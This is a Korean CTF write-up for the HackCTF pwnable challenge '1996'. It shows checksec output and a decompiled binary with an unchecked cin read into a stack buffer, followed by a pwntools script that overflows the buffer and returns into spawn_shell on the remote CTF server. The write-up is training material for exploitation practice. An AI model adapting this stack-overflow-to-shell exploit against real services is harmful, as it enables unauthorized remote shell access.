1996
Source
1
2
3
4
5
6
7
➜ pwnable git:(master) ✗ checksec --file 1996
[*] '/home/ubuntu/CTF/hackctf/pwnable/1996'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int spawn_shell(void)
{
char *argv[2]; // [rsp+0h] [rbp-10h] BYREF
argv[0] = "/bin/bash";
argv[1] = 0LL;
return execve("/bin/bash", argv, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
__int64 v5; // rdx
__int64 v6; // rbx
char *v7; // rax
__int64 v8; // rdx
__int64 v9; // rax
char name[1040]; // [rsp+0h] [rbp-410h] BYREF
std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
std::operator>><char,std::char_traits<char>>(&std::cin, name);// cin >> name
v4 = std::operator<<<std::char_traits<char>>(&_bss_start, name, v3);// v3 = name
v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);// v6 = (v4 = v5)
v7 = getenv(name);
v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);// v9 = (v4 = getenv(name))
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);// cout << (v4)
return 0;
}
Solve
C++에 또 당황했지만 바이너리는 간단하다. 바이너리를 실행하면 입력을 받고 입력 받은 값의 환경변수를 출력해준다.
때문에 처음에 환경변수에 spawn_shell()주소를 넣어서 실행하려 했지만 불가능했다.
그래서 구상한 페이로드는 버퍼를 채우고 RET에 spawn_shell() 로 함수를 콜하는 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#context.arch = 'amd64'
#context.terminal=['tmux', 'splitw', '-h']
#p = process("./1996")
p = remote('ctf.j0n9hyun.xyz', 3013)
pop_rdi = 0x400a33
spawn_shell = 0x400897
#gdb.attach(p, 'b*0x04009c9')
print p.recvuntil("Which environment variable do you want to read? ")
payload = ''
payload += "A"*1048
payload += p64(spawn_shell)
p.sendline(payload)
p.interactive()